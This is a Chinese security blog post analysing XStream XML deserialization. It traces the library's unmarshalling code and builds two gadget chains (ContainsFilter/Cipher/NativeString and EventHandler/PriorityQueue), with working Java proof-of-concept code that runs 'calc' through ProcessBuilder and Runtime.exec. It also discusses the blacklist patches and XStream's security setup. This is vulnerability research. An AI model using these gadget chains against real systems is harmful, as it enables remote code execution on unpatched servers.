前言
又一种反序列化漏洞,跟处理 JSON 的 Fastjson 相似,不过是处理 XML 的。
简单使用
参考文章,看官方文档也可以。
序列化后的数据大概是这个样子的,Data 是个没有继承的自定义类:
<org.example.Data>
<data>Twings</data>
<map>
<entry>
<string>name</string>
<string>Aluvion</string>
</entry>
</map>
</org.example.Data>
因为序列化的类不需要继承 Serializable,所以可供选择的过程链就更丰富了。
反序列化过程
XStream 1.4.6,反序列化的正式开始在 TreeUnmarshaller 类的 start 函数:
public Object start(DataHolder dataHolder) {
this.dataHolder = dataHolder;
Class type = HierarchicalStreams.readClassType(reader, mapper);
Object result = convertAnother(null, type);
Iterator validations = validationList.iterator();
while (validations.hasNext()) {
Runnable runnable = (Runnable)validations.next();
runnable.run();
}
return result;
}
调用 readClassType 从字符串中读取类名,然后调用 convertAnother:
public Object convertAnother(Object parent, Class type, Converter converter) {
type = mapper.defaultImplementationOf(type);
if (converter == null) {
converter = converterLookup.lookupConverterForType(type);
} else {
if (!converter.canConvert(type)) {
ConversionException e = new ConversionException(
"Explicit selected converter cannot handle type");
e.add("item-type", type.getName());
e.add("converter-type", converter.getClass().getName());
throw e;
}
}
return convert(parent, type, converter);
}
此时的 converter 为空,所以会调用 lookupConverterForType 获取相应类型的 converter:
public Converter lookupConverterForType(Class type) {
Converter cachedConverter = (Converter) typeToConverterMap.get(type);
if (cachedConverter != null) {
return cachedConverter;
}
Iterator iterator = converters.iterator();
while (iterator.hasNext()) {
Converter converter = (Converter) iterator.next();
if (converter.canConvert(type)) {
typeToConverterMap.put(type, converter);
return converter;
}
}
throw new ConversionException("No converter specified for " + type);
}
converters 是一个 PrioritizedList 列表,会根据权限进行排列,注册 converter 的时候会输入该 converter 的权限等级,比如 ReflectionConverter 的权限就是最低的 PRIORITY_VERY_LOW,即 -20:
registerConverter(new ReflectionConverter(mapper, reflectionProvider), PRIORITY_VERY_LOW);
遍历内部的 converters 列表,从中选出一个可以对该类型进行 convert 的 converter,在前面的 converter 都不符合的情况下(比如测试代码中的 Data 类),会选取最后一个 converter,也就是 ReflectionConverter。
之后会进入该 converter 的 unmarshal:
public Object unmarshal(final HierarchicalStreamReader reader,
final UnmarshallingContext context) {
Object result = instantiateNewInstance(reader, context);
result = doUnmarshal(result, reader, context);
return serializationMethodInvoker.callReadResolve(result);
}
实例化该类,然后调用 doUnmarshal 开始反序列化成员,通过反射获取 Field 之后,会反序列化该成员的值,然后通过反射赋值进去:
value = unmarshallField(context, result, type, field);
...
if (field != null) {
reflectionProvider.writeField(result, fieldName, value, field.getDeclaringClass());
seenFields.add(new FastField(field.getDeclaringClass(), fieldName));
}
也就不会触发该类的 getter、setter 等函数了。
其他 converter
ReflectionConverter 是无法使用的了,不过 com.thoughtworks.xstream.converters 包下面的其他 converter 的反序列化过程中可能存在反序列化利用链的入口。
collections
这个包里面都是些数组类型的类,这里有一个反序列化链中经常出场的类 Map 的 converter:MapConverter。
它的反序列化函数如下:
public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {
Map map = (Map) createCollection(context.getRequiredType());
populateMap(reader, context, map);
return map;
}
protected void populateMap(HierarchicalStreamReader reader, UnmarshallingContext context, Map map) {
populateMap(reader, context, map, map);
}
protected void populateMap(HierarchicalStreamReader reader, UnmarshallingContext context, Map map, Map target) {
while (reader.hasMoreChildren()) {
reader.moveDown();
putCurrentEntryIntoMap(reader, context, map, target);
reader.moveUp();
}
}
protected void putCurrentEntryIntoMap(HierarchicalStreamReader reader, UnmarshallingContext context,
Map map, Map target) {
reader.moveDown();
Object key = readItem(reader, context, map);
reader.moveUp();
reader.moveDown();
Object value = readItem(reader, context, map);
reader.moveUp();
target.put(key, value);
}
简单来说就是会调用某个 Map 的 put,比如我们熟悉的 HashMap,所以可以用来连接某个类的 hashCode、equals 等函数。
这里参考一条复杂的链,反射点在 ContainsFilter 类的 filter 函数中:
public boolean filter(Object elt) {
try {
return contains((String[])method.invoke(elt), name);
} catch (Exception e) {
return false;
}
}
ContainsFilter 继承的是 ServiceRegistry.Filter 接口,而用到这个接口的地方我只看到 FilterIterator 类的 advance 函数:
private void advance() {
while (iter.hasNext()) {
T elt = iter.next();
if (filter.filter(elt)) {
next = elt;
return;
}
}
next = null;
}
public T next() {
if (next == null) {
throw new NoSuchElementException();
}
T o = next;
advance();
return o;
}
调用 Iterator 的 next 函数,就可以连接上反射。但是有个问题,一般的 Iterator 都来自 iterator()、keys() 等无法控制的函数,所以我们需要找到一个含有 Iterator 成员的类,我们找到 Cipher 类,它的 chooseFirstProvider 函数会调用 Iterator 的 next。
继续往前看,doFinal 会调用 chooseFirstProvider:
public final byte[] doFinal() throws IllegalBlockSizeException, BadPaddingException {
this.checkCipherState();
this.chooseFirstProvider();
return this.spi.engineDoFinal((byte[])null, 0, 0);
}
然后是 CipherInputStream 类:
private int getMoreData() throws IOException {
if (this.done) {
return -1;
} else {
int var1 = this.input.read(this.ibuffer);
if (var1 == -1) {
this.done = true;
try {
this.obuffer = this.cipher.doFinal();
}
...
}
...
}
...
}
public int read(byte[] var1, int var2, int var3) throws IOException {
int var4;
if (this.ostart >= this.ofinish) {
for(var4 = 0; var4 == 0; var4 = this.getMoreData()) {
}
if (var4 == -1) {
return -1;
}
}
...
}
接下来需要找到一个可控的 InputStream 并调用其 read 函数,找到 Base64Data 类:
public byte[] get() {
if (this.data == null) {
try {
ByteArrayOutputStreamEx baos = new ByteArrayOutputStreamEx(1024);
InputStream is = this.dataHandler.getDataSource().getInputStream();
baos.readFrom(is);
is.close();
this.data = baos.getBuffer();
this.dataLen = baos.size();
} catch (IOException var3) {
this.dataLen = 0;
}
}
return this.data;
}
public String toString() {
this.get();
return DatatypeConverterImpl._printBase64Binary(this.data, 0, this.dataLen);
}
我们先看看 getDataSource:
public DataSource getDataSource() {
if (this.dataSource == null) {
if (this.objDataSource == null) {
this.objDataSource = new DataHandlerDataSource(this);
}
return this.objDataSource;
} else {
return this.dataSource;
}
}
可以控制返回为一个 DataSource 对象,我们再找到一个 getInputStream 可控的 DataSource 类就行,比如 XmlDataSource:
public InputStream getInputStream() {
this.consumed = !this.consumed;
return this.is;
}
这样我们就连通了 toString 和反射,接下来我们需要找到一个方法连通 toString,找到 NativeString 类:
public int hashCode() {
return this.getStringValue().hashCode();
}
private String getStringValue() {
return this.value instanceof String ? (String)this.value : this.value.toString();
}
value 为 CharSequence 对象,正好 Base64Data 就继承了这个接口。这样就能跟 HashMap 接起来了,写个测试代码:
Method start = ProcessBuilder.class.getDeclaredMethod("start");
Constructor constructor1 = Class.forName("javax.imageio.ImageIO$ContainsFilter").getDeclaredConstructors()[0];
constructor1.setAccessible(true);
ServiceRegistry.Filter filter = (ServiceRegistry.Filter)constructor1.newInstance(start, "start");
ArrayList arrayList = new ArrayList(1);
arrayList.add(new ProcessBuilder("calc"));
Constructor constructor2 = Object.class.getDeclaredConstructor();
constructor2.setAccessible(true);
Constructor constructor2_2 = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(Class.forName("javax.imageio.spi.FilterIterator"), constructor2);
constructor2_2.setAccessible(true);
Object filterIterator = constructor2_2.newInstance();
setField(filterIterator, "next", new Object());
setField(filterIterator, "iter", arrayList.iterator());
setField(filterIterator, "filter", filter);
Constructor constructor3 = Class.forName("javax.crypto.Cipher").getDeclaredConstructors()[1];
constructor3.setAccessible(true);
Object cipher = constructor3.newInstance(null, null);
setField(cipher, "serviceIterator", filterIterator);
setField(cipher, "initialized", true);
setField(cipher, "opmode", 1);
setField(cipher, "lock", new Object());
ByteArrayInputStream byteInputStream = new ByteArrayInputStream("".getBytes());
CipherInputStream cipherInputStream = new CipherInputStream(byteInputStream, (Cipher)cipher);
Constructor constructor4 = Class.forName("com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource").getDeclaredConstructors()[0];
constructor4.setAccessible(true);
Object xmlDataSource = constructor4.newInstance("Twings", cipherInputStream);
DataHandler dataHandler = new DataHandler((DataSource)xmlDataSource);
Base64Data base64Data = new Base64Data();
setField(base64Data, "dataHandler", dataHandler);
Constructor constructor5 = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(Class.forName("jdk.nashorn.internal.objects.NativeString"), Object.class.getDeclaredConstructor());
constructor5.setAccessible(true);
Object nativeString = constructor5.newInstance();
setField(nativeString, "value", base64Data);
HashMap hashMap = new HashMap(1);
hashMap.put("name", "Twings");
Object[] table = (Object[])getFieldValue(hashMap, "table");
setField(table[0], "key", nativeString);
写的有点乱,有点地方可能用 ReflectionFactory 实例化对象比较好,懒得改了。
除了这条链,还有一条通过 Bcel ClassLoader 进行利用的类,不过我的环境上找不到这个 ClassLoader 了,可能是早期 JDK 版本的类4,感兴趣的可以去看看参考文章。
同样的,其他的 converter 还会调用 add、compare 等,就不多说了。
Reflection
里面有个 SerializableConverter,可以触发 readObject,序列化出来的 XML 会加上 serialization=”custom” 的标识说明该类重写了 readObject 等方法:
<org.example.Data serialization="custom">
<org.example.Data>
<default>
<data>T</data>
<map>
<entry>
<string>name</string>
<string>Aluvion</string>
</entry>
</map>
</default>
</org.example.Data>
</org.example.Data>
extended
里面有个 DynamicProxyConverter,用于反序列化动态代理,而 JDK 内部有个动态代理类 EventHandler,它的 invoke 会调用 invokeInternal 函数,而这个函数中有一个明显的反射调用:
return MethodUtil.invoke(targetMethod, target, newArgs);
我们来看看怎么控制这里的函数名、目标对象和参数。
首先,代理的不能是 hashCode、equals、toString 这三个函数,不然会 return:
String methodName = method.getName();
if (method.getDeclaringClass() == Object.class) {
// Handle the Object public methods.
if (methodName.equals("hashCode")) {
return new Integer(System.identityHashCode(proxy));
} else if (methodName.equals("equals")) {
return (proxy == arguments[0] ? Boolean.TRUE : Boolean.FALSE);
} else if (methodName.equals("toString")) {
return proxy.getClass().getName() + '@' + Integer.toHexString(proxy.hashCode());
}
}
然后要满足:
listenerMethodName == null || listenerMethodName.equals(methodName)
直接通过反序列化赋值就行。接着获取参数的两个分支:
if (eventPropertyName == null) { // Nullary method.
newArgs = new Object[]{};
argTypes = new Class<?>[]{};
}
else {
Object input = applyGetters(arguments[0], getEventPropertyName());
newArgs = new Object[]{input};
argTypes = new Class<?>[]{input == null ? null :
input.getClass()};
}
上面是无参,下面则是单参,而该参数来自 applyGetters 函数(applyGetters 的第二参数可控,第一参数可能可控),首先是:
if (getters == null || getters.equals("")) {
return target;
}
可以是第一个参数本身,然后:
int firstDot = getters.indexOf('.');
if (firstDot == -1) {
firstDot = getters.length();
}
String first = getters.substring(0, firstDot);
String rest = getters.substring(Math.min(firstDot + 1, getters.length()));
try {
Method getter = null;
if (target != null) {
getter = Statement.getMethod(target.getClass(),
"get" + NameGenerator.capitalize(first),
new Class<?>[]{});
if (getter == null) {
getter = Statement.getMethod(target.getClass(),
"is" + NameGenerator.capitalize(first),
new Class<?>[]{});
}
if (getter == null) {
getter = Statement.getMethod(target.getClass(), first, new Class<?>[]{});
}
}
if (getter == null) {
throw new RuntimeException("No method called: " + first +
" defined on " + target);
}
Object newTarget = MethodUtil.invoke(getter, target, new Object[]{});
return applyGetters(newTarget, rest);
}
简单来说,就是调用某个类的无参函数,然后套娃继续 applyGetters,不过好像也没什么意义,如果想要反射调用单参函数,直接在最前方 return 就成。
回到 invokeInternal,接下来就是反射调用函数:
try {
int lastDot = action.lastIndexOf('.');
if (lastDot != -1) {
target = applyGetters(target, action.substring(0, lastDot));
action = action.substring(lastDot + 1);
}
Method targetMethod = Statement.getMethod(
target.getClass(), action, argTypes);
if (targetMethod == null) {
targetMethod = Statement.getMethod(target.getClass(),
"set" + NameGenerator.capitalize(action), argTypes);
}
if (targetMethod == null) {
String argTypeString = (argTypes.length == 0)
? " with no arguments"
: " with argument " + argTypes[0];
throw new RuntimeException(
"No method called " + action + " on " +
target.getClass() + argTypeString);
}
return MethodUtil.invoke(targetMethod, target, newArgs);
}
无参版本 Runtime 是用不了了,不过可以用 ProcessBuilder,找个接口把 EventHandler 接起来,这里有使用的是 commons-collections 中使用过的 PriorityQueue 类及接口 Comparator,走的 converter 为 SerializableConverter,通过 readObject 触发 compare 从而连接上 EventHandler 中的反射操作。
无参数版本:
public static void main( String[] args ) {
ProcessBuilder processBuilder = new ProcessBuilder("calc");
Comparator proxy = EventHandler.create(Comparator.class, processBuilder, "start");
Object hValue = getFieldValue(proxy, "h");
setField(hValue, "acc", null);
PriorityQueue priorityQueue = new PriorityQueue(2);
priorityQueue.add("Twings");
priorityQueue.add("Aluvion");
setField(priorityQueue, "comparator", proxy);
XStream xstream = new XStream();
String xml = xstream.toXML(priorityQueue);
System.out.println(xml);
System.out.println(xstream.fromXML(xml));
}
单参数版本,通过 Runtime 进行命令执行:
public static void main( String[] args ) {
ScriptEngineManager scriptEngineManager = new ScriptEngineManager();
Comparator proxy = EventHandler.create(Comparator.class, Runtime.getRuntime(), "exec");
Object hValue = getFieldValue(proxy, "h");
setField(hValue, "eventPropertyName", "");
setField(hValue, "acc", null);
PriorityQueue priorityQueue = new PriorityQueue(2);
priorityQueue.add("calc");
priorityQueue.add("calc");
setField(priorityQueue, "comparator", proxy);
XStream xstream = new XStream();
String xml = xstream.toXML(priorityQueue);
System.out.println(xml);
System.out.println(xstream.fromXML(xml));
}
至于为什么 Runtime 对象可以反序列化出来,这就留到后文再研究了,还有就是 applyGetters 函数里面的链式无参函数调用,有什么作用暂时想不到了,要不就链式实现某个效果,要不就执行出来作为某个单参函数的参数。
除了 Comparator,其他很多接口比如 comparable 也是可以用的,参考。
其他利用链
除了上面提到的两个泛用的利用链,还有一些需要依赖才能使用的利用链,具体的可以看这个项目。
安全措施
1.4.7-1.4.9
ReflectionConverter 进行了修补,在 canConvert 函数中加上了黑名单检测:
public boolean canConvert(Class type) {
return ((this.type != null && this.type == type) || (this.type == null && type != null && type != eventHandlerType))
&& canAccess(type);
}
所以 EventHandler 类就无法反序列化了,不过在 ContainsFilter 触发的利用链还是可以使用的。
1.4.10
在注册 converter 的时候注册了一个黑名单 converter,权限为 PRIORITY_LOW,会在 ReflectionConverter 前调用:
registerConverter(new InternalBlackList(), PRIORITY_LOW);
黑名单中的类如下:
public boolean canConvert(final Class type) {
return (type == void.class || type == Void.class)
|| (insecureWarning
&& type != null
&& (type.getName().equals("java.beans.EventHandler")
|| type.getName().endsWith("$LazyIterator")
|| type.getName().startsWith("javax.crypto.")));
}
javax.crypto 这个包名被黑名单拦截了,所以要想绕过,就要找到其他类替代 Cipher 和 CipherInputStream,来连接起 read 和 Iterator 的 next 函数。
当然,仅有黑名单的检测往往是不够的,最好还是开启 Xstream 的安全措施:
XStream.setupDefaultSecurity(xstream);
这样就会有内部的白名单检测,基本已经无法利用了。
题外话一:使用的 compare 来自 PriorityQueue 而不是 TreeMap
虽然 TreeMap 的 put 函数中也会触发 compare,但是 TreeMap 会有一个专门的 converter,叫做 TreeMapConverter,它的反序列化函数如下:
protected void populateTreeMap(HierarchicalStreamReader reader, UnmarshallingContext context,
TreeMap result, Comparator comparator) {
boolean inFirstElement = comparator == NULL_MARKER;
if (inFirstElement) {
comparator = null;
}
SortedMap sortedMap = new PresortedMap(comparator != null && JVM.hasOptimizedTreeMapPutAll() ? comparator : null);
if (inFirstElement) {
// we are already within the first entry
putCurrentEntryIntoMap(reader, context, result, sortedMap);
reader.moveUp();
}
populateMap(reader, context, result, sortedMap);
try {
if (JVM.hasOptimizedTreeMapPutAll()) {
if (comparator != null && comparatorField != null) {
comparatorField.set(result, comparator);
}
result.putAll(sortedMap); // internal optimization will not call comparator
} else if (comparatorField != null) {
comparatorField.set(result, sortedMap.comparator());
result.putAll(sortedMap); // "sort" by index
comparatorField.set(result, comparator);
} else {
result.putAll(sortedMap); // will use comparator for already sorted map
}
} catch (final IllegalAccessException e) {
throw new ObjectAccessException("Cannot set comparator of TreeMap", e);
}
}
它生成 TreeMap 的方式不是一个个将数据 put 进去,而是先将数据放在一个 PresortedMap 中(PresortedMap 不会触发 compare),然后调用 putAll 将其放入:
public void putAll(Map<? extends K, ? extends V> map) {
int mapSize = map.size();
if (size==0 && mapSize!=0 && map instanceof SortedMap) {
Comparator<?> c = ((SortedMap<?,?>)map).comparator();
if (c == comparator || (c != null && c.equals(comparator))) {
++modCount;
try {
buildFromSorted(mapSize, map.entrySet().iterator(),
null, null);
} catch (java.io.IOException cannotHappen) {
} catch (ClassNotFoundException cannotHappen) {
}
return;
}
}
super.putAll(map);
}
在参数为 SortedMap 的情况下,会调用 buildFromSorted 而不会调用下面的 putAll,一路下来都不会触发 compare,所以也就无法使用了。
题外话二:Runtime 的反序列化
跟踪来到 AbstractReflectionConverter 类的 instantiateNewInstance 函数,这里会调用根据类名实例化一个对象:
protected Object instantiateNewInstance(HierarchicalStreamReader reader,
UnmarshallingContext context) {
String attributeName = mapper.aliasForSystemAttribute("resolves-to");
String readResolveValue = attributeName == null ? null : reader
.getAttribute(attributeName);
Object currentObject = context.currentObject();
if (currentObject != null) {
return currentObject;
} else if (readResolveValue != null) {
return reflectionProvider.newInstance(mapper.realClass(readResolveValue));
} else {
return reflectionProvider.newInstance(context.getRequiredType());
}
}
然后调用 reflectionProvider.newInstance,最后来到 unsafe.allocateInstance,参考文章。
作用跟前面用到过的 ReflectionFactory 相似,可以在不调用构造函数的情况下实例化一个类,所以 Runtime 也可以实例化出来。
题外话三:高版本未开启安全措施下的利用
留坑,以后有空再看。
参考文章
本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!